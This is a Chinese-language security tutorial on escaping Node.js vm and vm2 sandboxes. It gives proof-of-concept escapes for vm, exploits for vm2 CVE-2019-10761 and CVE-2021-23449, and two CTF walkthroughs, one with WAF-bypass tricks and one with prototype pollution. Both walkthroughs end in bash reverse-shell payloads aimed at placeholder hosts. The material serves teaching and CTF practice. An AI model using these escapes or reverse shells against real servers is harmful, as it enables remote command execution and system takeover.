NodeJS沙箱逃逸
P4tt0n 发表于 吉林 WEB安全 861浏览 · 2024-07-28 16:08

Nodejs 沙箱逃逸

沙箱简介

​ 计算机世界的沙箱,实际上是对线下一种生活现象的虚拟化模拟。在现实生活中,孩子们会用木板在沙地或沙滩上围出一个方盒子,然后在里面用沙子堆砌、创造出各种形状,如城堡、房屋、山丘等。这个方盒子就是一个沙箱,它具有两个核心特点:一是有明确的边界,游戏和创造活动都被限制在这个边界内;二是使用沙子作为游戏材料,创造出来的任何东西都可以轻易地被抹平,不留痕迹。

​ 在计算机世界中,这种沙箱的概念被数字化模拟了出来。通过软硬件手段的结合,可以在一台设备(如服务器或手机)中模拟出一个“管控”区域。这个区域内部是预先指定和划分出来的运算与存储资源,与宿主设备的其他资源完全隔离。应用代码可以在这个模拟区域内运行,即使它是病毒、木马或DDoS攻击软件,也只能在这个资源受限的模拟世界中折腾,无法看到或影响宿主设备中的其他部分,更无法滥用宿主资源导致设备崩溃。此外,由于这个区域是模拟的,因此无论里面运行着什么,都可以一键删除,实现瞬间的清零。

​ 简而言之,计算机世界的沙箱就是一种虚拟化技术,用于在安全的环境中运行和测试代码,防止恶意软件对宿主设备造成损害。

​ 在Node.js中,沙箱是一种重要的安全机制,它通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供了一个安全的环境。通过vm模块或第三方库,开发者可以创建和管理沙箱,确保系统的安全性和稳定性,但同时也需要关注潜在的安全风险。

Nodejs的作用域

​ 在Node.js的编程环境中,每个JavaScript文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染。

全局作用域(Global Scope)

​ 在Node.js中,global对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如consoleprocessBuffer等内置对象,以及任何直接添加到global对象上的自定义属性或方法。但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。

模块作用域(Module Scope)

​ 每个Node.js文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。

代码示例:

(一)

a.js

let name = 'P4tt0n'

b.js

const file = require('./a.js')
console.log(file.name)

(二)

a.js

let name = 'P4tt0n'
exports.name = name

b.js

const file = require('./a.js')
console.log(file.name)

由此可见a.js和b.js不在同一个作用域,只有使用require将一个包中的模块引入到另一个包,才能实现功能的引用.而且这并不是把一个包中的所有变量和函数引入到另一个包,require只返回一个模块的导出对象,这取决于模块自身的 module.exportsexports 对象的设置

(三)

a.js

global.name = 'P4tt0n'

b.js

const file = require('./a.js')
console.log(name)

​ 可见,我们输出name时,不需要使用file.name的形式,我们可以直接使用name进行输出,同时name也不需要使用exports进行导出,因为此时name已经挂载在global上了,它的作用域不在a.js中了。

VM沙箱

​ 上文介绍了作用域,vm模块就是通过定义一个全新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了。

接下来介绍一些vm模块的api

  1. vm.Script

    new vm.Script(code[, options]): 创建一个预编译的Script对象,表示一段JavaScript代码。

    script.runInContext([contextifiedSandbox[, options]]): 在指定的上下文中执行预编译的脚本。script.runInNewContext([sandbox[, options]]): 创建一个新的上下文并在其中执行脚本。

    vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

  2. vm.createContext([sandbox[, options]])

    创建一个新的、独立的上下文(沙箱),可以包含预先定义的变量和函数。

    使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性

    具体结构:

    V8{
      sandbox{}
      global{}
      }
    

    示例:

    c.js

    // Node.js program to demonstrate the      
     // vm.createContext([contextObject[, options]]) 
     // method 
    
     // Including util and vm module 
     const util = require('util'); 
     const vm = require('vm'); 
    
     // Assigning value to the global variable 
     global.globalVar = 10; 
    
     // Defining Context object 
     const object = { globalVar:4 }; 
    
     // Contextifying stated object 
     // using createContext method 
     vm.createContext(object); 
    
     // Compiling code 
     vm.runInContext('globalVar /= 2;', object); 
    
     // Displays the context 
     console.log("Context:", object); 
    
     // Dsiplays value of global variable 
     console.log("Global Variable is ", global.globalVar);
    

  1. vm.runInContext(code, contextifiedSandbox[, options])

    参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

    示例d.js

    const vm = require('vm')
     global.global_var = 1
     const sandbox = {global_var: 2} //创建一个沙箱对象
     vm.createContext(sandbox)  //创建一个上下文对象
     vm.runInContext('global_var*=2',sandbox)
    
     console.log(sandbox)    // { global_var: 4 }
     console.log(global_var) // 1
    

  1. vm.runInNewContext(code[, sandbox[, options]])

    创建一个新的上下文并在其中运行JavaScript代码。这个函数是createContext()runInContext()的结合版,传入要执行的代码和沙箱对象

  2. vm.runInThisContext(code[, options])

    在当前上下文中运行JavaScript代码,代码可以直接访问当前作用域的变量。sandbox沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)

    示例e.js

    // Node.js program to demonstrate the      
     // runInThisContext() method 
    
     // Including vm module 
     const vm = require('vm'); 
    
     // Declaring local variable 
     let localVar = 'GYH'; 
    
     // Calling runInThisContext method 
     const vmresult = 
      vm.runInThisContext('localVar = "P4tt0n";'); 
    
     // Prints output for vmresult 
     console.log(`vmresult:'${vmresult}',  
                   localVar:'${localVar}'`); 
    
     // Constructing eval 
     const evalresult = eval('localVar = "LZ";'); 
    
     // Prints output for evalresult 
     console.log(`evalresult:'${evalresult}',  
                     localVar:'${localVar}'`);
    

  1. vm.createScript(code[, options])

    (过时,从Node.js v0.12开始不再推荐使用)创建一个可执行的Script对象。

    ### VM沙箱逃逸

举一个例子

f.js

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

​ 很明显是逃逸出去了。如何做到的?debug跟进一下

​ 这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。

constructor的理解

示例:

function PP(){
    name : 'P4tt0n'
};

const a= new PP();

console.log(a.constructor);//PP
console.log(a.constructor.constructor);//Function

绕过Object.create(null)

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

​ 我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

const vm = require('vm');
const script =
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

​ 我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

VM2沙箱逃逸

​ vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及_proto这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。

CVE-2019-10761

该漏洞要求vm2版本<=3.6.10

poc

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

CVE-2021-23449

​ import()在JavaScript中是一个语法结构,不是函数,没法通过之前对 require这种函数处理相同的方法来处理它,导致实际上我们调用 import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获 取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正 则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误

poc

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

另外的poc

Symbol = {
  get toStringTag(){
    throw f=>f.constructor("return process")()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

例题

NKCTF-2024 全世界最简单的ctf

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

很明显的vm沙箱逃逸问题

正常的payload

throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor('return process'))();
         return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

接下来思考如何绕waf

因为题目没有/i,所以对大小写不敏感

我们的process可以等价于

const pro='Process'.toLowerCase();
console.log(pro)//打印process

或者String.fromCharCode绕过

const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115)
console.log(pro)//输出process

还需要绕过exec

我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

这样就可以获得eval方法

第一步是要获得global这个模块,原来是获取process模块,但是如果获取到了global,那什么都好获取了

get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            }

然后就要获取我们的process模块,并且引用child_process

const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
1
child_process
const a = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')));
const b=process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
console.log(a)//获取到process
console.log(b)//获取到child_process

任何就是获取exec并执行命令

return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");

获取a对象的exec这个对象去执行后面的命令

HZNUCTF eznode

访问app.js获取源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。clone()函数很明显的一个原型链污染,而VM2会执行shellcode属性的内容,那么也就是我们需要将该属性污染成VM2沙箱逃逸的payload即可执行任意命令

payload:

{"shit":1,"__proto__":{"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"}}

参考链接

NodeJS vm&vm2沙箱逃逸_node vm2-CSDN博客

vm2沙箱逃逸分析-安全客 - 安全资讯平台 (anquanke.com)

1 条评论
某人
表情
可输入 255